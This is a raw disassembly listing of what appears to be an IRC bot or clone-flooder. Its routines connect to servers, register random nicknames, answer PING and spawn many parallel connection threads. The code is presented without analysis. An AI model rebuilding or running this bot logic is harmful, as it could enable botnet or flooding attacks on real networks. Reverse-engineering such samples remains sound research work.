		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4C9800	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4C983C	; inet_addr
		cmp	eax, esi
		jnz	short loc_41482F
		push	[ebp+arg_0]
		call	dword_4C9880	; gethostbyname
		test	eax, eax
		jz	short loc_41484A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_41482F:				; CODE XREF: sub_4147CE+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4C97AC	; connect
		cmp	eax, esi
		jnz	short loc_41484E
		push	edi
		call	dword_4C9894	; closesocket


loc_41484A:				; CODE XREF: sub_4147CE+1Bj
					; sub_4147CE+58j
		mov	eax, esi
		jmp	short loc_414850
; ---------------------------------------------------------------------------


loc_41484E:				; CODE XREF: sub_4147CE+73j
		mov	eax, edi


loc_414850:				; CODE XREF: sub_4147CE+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4147CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414854	proc near		; CODE XREF: sub_401AC7+2D10p
					; sub_401AC7+2D79p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42C75C ; "\n"
		push	edi
		call	sub_4183C0
		pop	ecx
		mov	esi, offset dword_4D1464
		pop	ecx


loc_41486C:				; CODE XREF: sub_414854+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_41488A
		cmp	dword ptr [esi], 0
		jbe	short loc_41488A
		push	0
		push	edi
		call	sub_4176F0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4C984C	; send


loc_41488A:				; CODE XREF: sub_414854+1Cj
					; sub_414854+21j
		add	esi, 210h
		cmp	esi, offset dword_4D7B84
		jl	short loc_41486C
		pop	edi
		pop	esi
		retn
sub_414854	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41489B	proc near		; CODE XREF: sub_414992+152p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42EF54 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_4185F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4148C0:				; CODE XREF: sub_41489B+35j
		push	esi
		push	0
		call	sub_4185F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4148C0
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_4148E8
		cmp	esi, edi
		jnz	short loc_4148E8
		push	1
		pop	eax
		jmp	loc_41498D
; ---------------------------------------------------------------------------


loc_4148E8:				; CODE XREF: sub_41489B+3Fj
					; sub_41489B+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_418570
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_414912
		lea	eax, [ebp+var_220]
		push	offset aPongS_0	; "PONG	%s\n"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	short loc_41496C
; ---------------------------------------------------------------------------


loc_414912:				; CODE XREF: sub_41489B+5Fj
		push	offset a433	; "433"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414933
		push	esi
		push	offset a432	; "432"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41498B


loc_414933:				; CODE XREF: sub_41489B+85j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_417AA0
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset aNickS_0	; "NICK	%s\n"
		push	eax
		call	sub_417D96
		add	esp, 1Ch


loc_41496C:				; CODE XREF: sub_41489B+75j
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send


loc_41498B:				; CODE XREF: sub_41489B+96j
		xor	eax, eax


loc_41498D:				; CODE XREF: sub_41489B+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41489B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414992	proc near		; DATA XREF: sub_414B34+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_418030
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D146C[esi]
		mov	dword_4D1460[esi], edi
		push	dword_4D166C[esi]
		push	eax
		call	sub_4147CE
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D1464[esi], eax
		jb	loc_414B14
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_417AA0
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_417D96
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D1464[esi]
		call	dword_4C984C	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch


loc_414A6B:				; CODE XREF: sub_414992+10Ej
					; sub_414992+17Dj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D1464[esi]
		call	dword_4C9818	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_414B14
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_414A6B


loc_414AA2:				; CODE XREF: sub_414992+17Bj
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_414AC9
		cmp	al, 0Ah
		jz	short loc_414AC9
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_414AC9
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_414B03
; ---------------------------------------------------------------------------


loc_414AC9:				; CODE XREF: sub_414992+119j
					; sub_414992+11Dj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_414B03
		push	dword_4D1464[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_41489B
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_414B14
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_414B03:				; CODE XREF: sub_414992+135j
					; sub_414992+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_414AA2
		jmp	loc_414A6B
; ---------------------------------------------------------------------------


loc_414B14:				; CODE XREF: sub_414992+40j
					; sub_414992+104j ...
		mov	dword_4D1460[esi], ebx
		mov	esi, dword_4D1464[esi]
		cmp	esi, ebx
		jbe	short loc_414B2B
		push	esi
		call	dword_4C9894	; closesocket


loc_414B2B:				; CODE XREF: sub_414992+190j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_414992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B34	proc near		; CODE XREF: sub_401AC7+2C63p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_414BAD


loc_414B46:				; CODE XREF: sub_414B34+77j
		xor	edi, edi
		mov	eax, offset dword_4D1460


loc_414B4D:				; CODE XREF: sub_414B34+28j
		cmp	[eax], ebx
		jz	short loc_414B5E
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4D7B80
		jl	short loc_414B4D


loc_414B5E:				; CODE XREF: sub_414B34+1Bj
		cmp	edi, 31h
		jz	short loc_414BAD
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D146C[esi]
		push	eax
		call	sub_4183B0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D166C[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D1460[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_414992
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_414B46


loc_414BAD:				; CODE XREF: sub_414B34+10j
					; sub_414B34+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414B34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414BB2	proc near		; CODE XREF: sub_401AC7+31B6p
					; sub_401AC7+31F9p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		call	sub_417DF2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4236E0
		call	sub_418C98
		cmp	eax, 1
		jnz	short loc_414BFC
		call	sub_417DF2
		call	sub_417DF2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438C90[edx*4]
		jmp	short loc_414C15
; ---------------------------------------------------------------------------


loc_414BFC:				; CODE XREF: sub_414BB2+2Fj
		call	sub_417DF2
		call	sub_417DF2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438990[edx*4]


loc_414C15:				; CODE XREF: sub_414BB2+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4183B0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_4176F0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236D8
		call	sub_418C98
		mov	ebx, eax
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4236D0
		call	sub_418C98
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_414C88
		cmp	esi, 3
		jnz	short loc_414C7F
		cmp	ebx, 1
		jz	short loc_414C88


loc_414C7F:				; CODE XREF: sub_414BB2+C6j
		cmp	eax, 1
		jnz	loc_414D42


loc_414C88:				; CODE XREF: sub_414BB2+C1j
					; sub_414BB2+CBj
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236C8
		call	sub_418C98
		push	off_438C90[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4183B0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_4184B0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_414D2F
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_4184B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D2F
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4236D0
		call	sub_418C98
		cmp	eax, 1
		jnz	short loc_414D2F
		push	edi
		call	sub_4176F0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4236D0
		call	sub_418C98
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_414D2F:				; CODE XREF: sub_414BB2+111j
					; sub_414BB2+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4186E0
		add	esp, 0Ch


loc_414D42:				; CODE XREF: sub_414BB2+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4176F0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41999A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414FAA
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_4184B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414EA1
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4236D0
		call	sub_418C98
		cmp	esi, 3
		jz	short loc_414DB0
		cmp	eax, 1
		jnz	loc_414EA1


loc_414DB0:				; CODE XREF: sub_414BB2+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_414DF2
		push	edi
		call	sub_4176F0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4236D0
		call	sub_418C98
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_414E0E
; ---------------------------------------------------------------------------


loc_414DF2:				; CODE XREF: sub_414BB2+207j
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236C0
		call	sub_418C98
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_414E0E:				; CODE XREF: sub_414BB2+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236B8
		call	sub_418C98
		cmp	esi, 3
		jz	short loc_414E37
		cmp	eax, ebx
		jnz	short loc_414EA1


loc_414E37:				; CODE XREF: sub_414BB2+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_414E7C
		push	edi
		call	sub_4176F0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4236D0
		call	sub_418C98
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_414E9A
; ---------------------------------------------------------------------------


loc_414E7C:				; CODE XREF: sub_414BB2+28Fj
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236C0
		call	sub_418C98
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_414E9A:				; CODE XREF: sub_414BB2+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_414EA1:				; CODE XREF: sub_414BB2+1C9j
					; sub_414BB2+1F8j ...
		cmp	esi, 6
		jge	loc_414F2A
		cmp	esi, 5
		jge	short loc_414EC2
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236D8
		jmp	short loc_414EE0
; ---------------------------------------------------------------------------


loc_414EC2:				; CODE XREF: sub_414BB2+2FBj
		call	sub_417DF2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4236D0


loc_414EE0:				; CODE XREF: sub_414BB2+30Ej
		call	sub_418C98
		test	eax, eax
		jnz	short loc_414F03
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236B0
		call	sub_418C98
		mov	cl, 30h
		jmp	short loc_414F20
; ---------------------------------------------------------------------------


loc_414F03:				; CODE XREF: sub_414BB2+335j
		cmp	eax, 1
		jnz	short loc_414F2A
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236C0
		call	sub_418C98
		mov	cl, 41h


loc_414F20:				; CODE XREF: sub_414BB2+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_414F2A:				; CODE XREF: sub_414BB2+2F2j
					; sub_414BB2+354j
		cmp	[ebp+var_C], 2
		jge	short loc_414FAA
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4236D0
		call	sub_418C98
		cmp	eax, 1
		jnz	short loc_414FAA
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236B0
		call	sub_418C98
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236A8
		call	sub_418C98
		cmp	eax, 1
		jnz	short loc_414FAA
		cmp	[ebp+var_C], eax
		jge	short loc_414FAA
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236A0
		call	sub_418C98
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_414FAA:				; CODE XREF: sub_414BB2+1B1j
					; sub_414BB2+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414BB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FC3	proc near		; CODE XREF: sub_401AC7+94Dp
					; sub_401AC7+98Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41504E
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_41504E
		cmp	[ebp+arg_8], esi
		jz	short loc_41504E
		cmp	byte ptr [eax],	0
		jz	short loc_41504E
		push	ebx
		push	edi
		call	sub_421EE5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_415049
		push	[ebp+arg_4]
		push	edi
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_415042
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_417B00
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_4176F0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_4186E0
		push	[ebp+arg_4]
		call	sub_4176F0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4183C0
		push	ebx
		push	edi
		call	sub_4183B0
		add	esp, 30h
		mov	esi, edi


loc_415042:				; CODE XREF: sub_414FC3+3Cj
		push	ebx
		call	sub_4177C1
		pop	ecx


loc_415049:				; CODE XREF: sub_414FC3+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_415050
; ---------------------------------------------------------------------------


loc_41504E:				; CODE XREF: sub_414FC3+Cj
					; sub_414FC3+13j ...
		xor	eax, eax


loc_415050:				; CODE XREF: sub_414FC3+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_414FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415054	proc near		; CODE XREF: sub_40194F+E9p
					; sub_40F2F7+F4p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417AA0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4176F0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_41508A
		or	eax, 0FFFFFFFFh
		jmp	short loc_4150FD
; ---------------------------------------------------------------------------


loc_41508A:				; CODE XREF: sub_415054+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_4150AC


loc_415096:				; CODE XREF: sub_415054+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4150A3
		cmp	dl, 0Dh
		jnz	short loc_4150A7


loc_4150A3:				; CODE XREF: sub_415054+48j
		and	byte ptr [ecx+esi], 0


loc_4150A7:				; CODE XREF: sub_415054+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_415096


loc_4150AC:				; CODE XREF: sub_415054+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_4150DD
		lea	edi, [ebp+var_7CC]


loc_4150B9:				; CODE XREF: sub_415054+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_4150D8
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_4150D8
		cmp	ebx, 1F4h
		jge	short loc_4150DD
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_4150D8:				; CODE XREF: sub_415054+69j
					; sub_415054+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_4150B9


loc_4150DD:				; CODE XREF: sub_415054+5Dj
					; sub_415054+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_4150FB
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_418810
		add	esp, 0Ch


loc_4150FB:				; CODE XREF: sub_415054+8Ej
		mov	eax, ebx


loc_4150FD:				; CODE XREF: sub_415054+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_415054	endp


; =============== S U B	R O U T	I N E =======================================



sub_415101	proc near		; CODE XREF: sub_41515B+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_41513A
		push	ebx
		mov	ebx, edi


loc_41511E:				; CODE XREF: sub_415101+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_41513D
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41511E
		pop	ebx


loc_41513A:				; CODE XREF: sub_415101+18j
		pop	edi
		pop	esi
		retn
sub_415101	endp


; =============== S U B	R O U T	I N E =======================================



sub_41513D	proc near		; CODE XREF: sub_415101+25p
					; sub_41515B+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419A9C
		cmp	al, 61h
		pop	ecx
		jl	short loc_415158
		cmp	al, 7Ah
		jg	short loc_415158
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_415158:				; CODE XREF: sub_41513D+Ej
					; sub_41513D+12j
		xor	eax, eax
		retn
sub_41513D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41515B	proc near		; CODE XREF: sub_413C3F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_418030
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4176F0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_4176F0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_415101
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_415199:				; CODE XREF: sub_41515B+B6j
		test	esi, esi
		jle	short loc_415217
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419A9C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419A9C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41520F


loc_4151BF:				; CODE XREF: sub_41515B+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_41513D
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4151E0
		mov	eax, ecx


loc_4151E0:				; CODE XREF: sub_41515B+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_415213
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419A9C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419A9C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4151BF


loc_41520F:				; CODE XREF: sub_41515B+62j
		dec	edi
		dec	esi
		jmp	short loc_415199
; ---------------------------------------------------------------------------


loc_415213:				; CODE XREF: sub_41515B+8Aj
		xor	eax, eax
		jmp	short loc_41521C
; ---------------------------------------------------------------------------


loc_415217:				; CODE XREF: sub_41515B+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_41521C:				; CODE XREF: sub_41515B+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41515B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_401AC7+5EC6p
					; sub_401AC7+6A91p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_42308C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_423138	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_41525A:				; CODE XREF: sub_415221+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_415266
		cmp	cl, 9
		jnz	short loc_415269

